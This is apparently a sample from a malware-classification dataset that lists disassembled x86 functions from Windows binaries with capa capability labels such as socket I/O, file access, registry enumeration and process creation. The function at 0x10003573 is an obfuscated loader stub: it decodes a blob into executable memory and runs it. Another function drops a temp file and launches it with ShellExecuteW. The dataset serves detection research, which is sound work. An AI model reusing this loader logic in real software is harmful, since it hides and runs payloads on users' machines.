joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404500
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42f008]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push dword [ebp + 0xc]
mov edi, ecx
push ebx
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40454d
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2714
jne 0x404561
push dword [ebp + 0xc]
push ebx
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x404533
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00422454
mov esp, ebp
pop ebp
ret 0x10
call esi
cmp eax, 0x2733
jne 0x4045ac
push dword [ebp + 0x14]
mov ecx, edi
push dword [ebp + 0x10]
push 1
call fcn.00404710
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 4
push eax
lea eax, [esp + 0x2c]
push eax
push 0x1007
push 0xffff
push dword [edi]
call dword [sym.imp.WS2_32.dll_getsockopt]
cmp eax, 0xffffffff
je 0x4045cd
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x4045ee
jmp 0x40454d
push str.Failed_to_connect
push ecx
call esi
push eax
lea ecx, [esp + 0x1c]
call fcn.00402680
push 0x42d584
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.Failed_to_get_socket_option
push ecx
call esi
push eax
lea ecx, [esp + 0x1c]
call fcn.00402680
push 0x42d584
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.Failed_to_connect
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.00402680
push 0x42d584
lea eax, [esp + 0x14]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x404610
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
push dword [ebp + 0x14]
mov edi, ecx
push dword [ebp + 0x10]
push 1
call fcn.00404710
mov ebx, dword [ebp + 0xc]
push 0
push ebx
push dword [ebp + 8]
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x404663
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2714
jne 0x40466c
push 0
push ebx
push dword [ebp + 8]
push dword [edi]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404647
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push str.Failed_to_send_data
push ecx
call esi
push eax
lea ecx, [esp + 0x18]
call fcn.00402680
push 0x42d584
lea eax, [esp + 0x10]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x404690
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
push dword [ebp + 0x14]
mov edi, ecx
push dword [ebp + 0x10]
push 0
call fcn.00404710
mov ebx, dword [ebp + 0xc]
push 0
push ebx
push dword [ebp + 8]
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4046e3
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2714
jne 0x4046ec
push 0
push ebx
push dword [ebp + 8]
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4046c7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push str.Failed_to_read_data
push ecx
call esi
push eax
lea ecx, [esp + 0x18]
call fcn.00402680
push 0x42d584
lea eax, [esp + 0x10]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x40f7e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40f80c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x40f834
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x40f83a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x40f8a2
jg 0x40f851
test esi, esi
je 0x40f8a2
test ecx, ecx
jl 0x40f89d
jg 0x40f85b
test eax, eax
je 0x40f89d
cmp edi, ecx
jg 0x40f86f
jl 0x40f865
cmp esi, eax
jae 0x40f86f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x40f8a5
mov ecx, dword [ebp + 8]
jmp 0x40f8af
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x40f8c9
jg 0x40f8af
test esi, esi
je 0x40f8c9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x40f8c9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40f8e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x40f90c
jl 0x40f900
test ecx, ecx
jne 0x40f90c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x40f925
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x40f973
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x40f979
mov edi, dword [ebp - 4]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp - 4], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x40f979
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x40f9e6
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x40f9a2
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x40f9d4
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x40f9e6
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x40f9b0
test edi, edi
je 0x40f9e6
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40fd60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x42f008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x40fd90
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00422454
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x40fdc0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x40fdc0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00422454
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x40fe98
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x40fde9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x40fdf5
movsx eax, bl
jmp 0x40fe2d
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x40fe57
sub eax, 1
je 0x40fe57
sub eax, 2
jne 0x40fe98
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00422454
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40fe75
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40fe98
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00422454
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00422454
mov esp, ebp
pop ebp
ret 4
Function at 0x412180
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42f008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x41223c
cmp byte [esi + 0x3d], 0
je 0x41223c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x41222a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x4121f1
sub eax, 1
je 0x4121f5
sub eax, 2
jne 0x41222a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00422454
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x412213
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x41222a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00422454
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00422454
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00422454
mov esp, ebp
pop ebp
ret
Function at 0x418140
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424e0c
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x42f008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
lea esi, [edi + 0x38]
mov dword [edi + 0x30], 0
mov byte [edi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [esi + 0x24], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x4181f4
mov eax, dword [ecx]
push esi
call dword [eax]
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0x34]
lea ecx, [edi + 0x70]
mov byte [ebp - 4], 5
mov byte [edi + 0x60], al
push 9
mov byte [edi + 0x68], 9
call fcn.00413330
lea eax, [ebp - 0xd]
mov byte [ebp - 4], 6
push eax
lea ecx, [edi + 0x10]
mov byte [ebp - 0xd], 1
call fcn.00419010
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x418238
mov esi, dword [ecx]
lea eax, [ebp + 0xc]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30

Function at 0x422daf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x422dee
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x422dee
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x422dee
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x422dee
cmp dword [ecx + 0x74], 0xe
jbe 0x422dee
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100018bd
Capabilities:
Create process on windows
Get common file path

Disassembly:
push 0x21c
mov eax, 0x10009fce
call fcn.10009193
mov ebx, dword [ebp + 8]
xor edi, edi
mov esi, dword [ebp + 0xc]
mov eax, dword [0x1000f07c]
cmp eax, 0x1000f07c
je 0x10001902
test dword [eax + 0x1c], 0x100
je 0x10001902
cmp byte [eax + 0x19], 6
jb 0x10001902
push ebx
push 0x1000bb98
push 0x19
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003573
test esi, esi
jne 0x10001910
mov eax, 0x80004005
jmp 0x10001add
push dword [esi]
lea ecx, [ebp - 0x224]
call fcn.10004ad1
lea ecx, [ebp - 0x228]
mov dword [ebp - 4], edi
call fcn.10003573
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 1
push eax
mov esi, 0x104
mov dword [ebp - 0x21c], edi
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
test eax, eax
jne 0x1000195e
push 0x1000b648
push esi
lea eax, [ebp - 0x218]
push eax
call fcn.10003573
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x220]
call fcn.10004ad1
push str.Join.ocsmeet
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 2
call fcn.10003573
push 0x1000b66c
push dword [ebp - 0x220]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
add esp, 0xc
test eax, eax
jne 0x100019e4
cmp dword [ebp - 0x21c], eax
je 0x100019e4
push dword [ebp - 0x21c]
push dword [ebp - 0x224]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputws]
pop ecx
pop ecx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x228]
call fcn.10003573
push dword [ebp - 0x21c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov dword [ebp - 0x21c], edi
mov esi, dword [ebp - 0x228]
cmp dword [esi - 0xc], edi
jne 0x100019f9
mov edi, 0x80004005
jmp 0x10001a89
push 0xa
mov eax, 0x1000bb94
push eax
push eax
push esi
push 0x1000b670
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x10001a89
cmp eax, 0x1b
ja 0x10001a59
je 0x10001a7d
dec eax
sub eax, 1
je 0x10001a52
sub eax, 1
je 0x10001a4b
dec eax
sub eax, 1
je 0x10001a44
sub eax, 3
je 0x10001a3d
sub eax, 3
jne 0x100019ef
mov edi, 0x8007000b
jmp 0x10001a89
mov edi, 0x8007000e
jmp 0x10001a89
mov edi, 0x80070005
jmp 0x10001a89
mov edi, 0x80070003
jmp 0x10001a89
mov edi, 0x80070002
jmp 0x10001a89
sub eax, 0x1c
je 0x10001a84
sub eax, 1
je 0x10001a84
sub eax, 1
je 0x10001a84
sub eax, 1
je 0x10001a7d
sub eax, 1
jne 0x100019ef
mov edi, 0x80070485
jmp 0x10001a89
mov edi, 0x80070483
jmp 0x10001a89
mov edi, 0x80070484
mov eax, dword [0x1000f07c]
cmp eax, 0x1000f07c
je 0x10001ab7
test dword [eax + 0x1c], 0x100
je 0x10001ab7
cmp byte [eax + 0x19], 6
jb 0x10001ab7
push ebx
push 0x1000bb98
push 0x1a
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003573
mov ecx, dword [ebp - 0x220]
lea ecx, [ecx - 0x10]
call fcn.100052bf
lea ecx, [esi - 0x10]
call fcn.100052bf
mov ecx, dword [ebp - 0x224]
add ecx, 0xfffffff0
call fcn.100052bf
mov eax, edi
call fcn.10009148
ret 8
Function at 0x10003194
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x224
mov eax, dword [0x1000f024]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov ecx, dword [ebp + 8]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0xc], ebx
mov eax, dword [edi + 4]
or eax, 0x2001f
mov dword [esp + 0x10], ebx
push eax
push ecx
push dword [edi]
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], ebx
call fcn.10003573
mov esi, eax
test esi, esi
je 0x100031fa
cmp dword [esp + 0xc], ebx
je 0x100031f3
push dword [esp + 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, esi
jmp 0x10003289
lea eax, [esp + 0x20]
push eax
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebx
mov ebx, dword [sym.imp.advapi32.dll_RegEnumKeyExW]
jmp 0x1000323e
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.10003573
mov esi, eax
test esi, esi
jne 0x100032a0
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x28]
mov dword [esp + 0x38], 0x100
call ebx
test eax, eax
je 0x10003215
cmp dword [esp + 0xc], 0
mov esi, dword [sym.imp.advapi32.dll_RegCloseKey]
je 0x10003268
push dword [esp + 0xc]
call esi
and dword [esp + 0xc], 0
push dword [esp + 0x1c]
and dword [esp + 0x14], 0
mov ecx, edi
call fcn.10003573
cmp dword [esp + 0xc], 0
mov edi, eax
je 0x10003287
push dword [esp + 0xc]
call esi
mov eax, edi
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000885e
mov esp, ebp
pop ebp
ret 4
cmp dword [esp + 0xc], 0
jmp 0x100031e7
Function at 0x10003573
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10003582
pop dword [ebp - 0x30]
mov eax, 0x18931710
sub eax, 0x892e18e
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x1a1d0af5
sub dword [ebp - 0x40], 0xcbcac5aa
mov dword [ebp - 0x3c], 0x99acdc3a
sub dword [ebp - 0x3c], 0x67798ff5
mov dword [ebp - 0x38], 0x9c0d870
add dword [ebp - 0x38], 0x428b6bbe
mov dword [ebp - 0x34], 0x5c90c2de
add dword [ebp - 0x34], 0xa36f3d22
lea eax, [ebp - 0x40]
push eax
mov eax, 0x94a5cbfd
sub eax, 0x84a51b45
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x5f5ec9fc
add dword [ebp - 0x40], 0x15139f5a
mov dword [ebp - 0x3c], 0x3d903a8f
add dword [ebp - 0x3c], 0x3dc26e6
mov dword [ebp - 0x38], 0x6e21993b
sub dword [ebp - 0x38], 0xab22ccf
mov dword [ebp - 0x34], 0x60ad1d58
add dword [ebp - 0x34], 0x9f52e2a8
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x8aa64a1
sub eax, 0xf8a9b42d
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x35695
push 0
call eax
mov ecx, 0x3c47
xor edi, edi
add edi, eax
mov ebx, 0x10014200
add ebx, dword [ebp - 0x30]
mov edx, 0xf7259245
add edx, 0xba3f2950
add dword [ebp - 0x28], edx
mov esi, dword [ebx]
xor dword [ebp - 0x28], 0x8d775ebf
sub esi, edx
xor dword [ebp - 0x2c], ebx
mov dword [edi], esi
add dword [ebp - 0x2c], ebx
add edi, 4
add ebx, 0x732ab4df
sub ebx, 0x732ab4db
loop 0x1000369a
add eax, 0x37e9a8ed
sub eax, 0x37e8c4fe
xor ebx, ebx
add ebx, eax
add eax, 0xa4bf16f9
add eax, 0x5b40e90c
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x10003d9c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x1000a173
call fcn.100091ff
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x434], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x10003e19
push 2
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x10003e19
call fcn.100025c4
mov esi, eax
jmp 0x10003f29
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x10003e3c
call fcn.100025c4
jmp 0x10003f1c
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x10003e32
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x420], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x10003e6f
mov esi, 0x8007000e
jmp 0x10003f1e
push 2
push eax
lea eax, [ebp - 0x41c]
mov byte [ebp - 4], 2
push eax
call fcn.10003573
test eax, eax
js 0x10003f4c
cmp dword [ebp - 0x41c], 0x400
jbe 0x10003ebf
push dword [ebp - 0x41c]
lea ecx, [ebp - 0x418]
call fcn.10003573
jmp 0x10003ecb
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10003e65
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x428]
push ebx
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10003e32
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.10003573
mov esi, eax
test edi, edi
je 0x10003f29
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10003f42
lea ecx, [ebp - 0x418]
call fcn.1000258c
mov eax, esi
call fcn.10009154
ret 0x10
push eax
call fcn.10003573
int3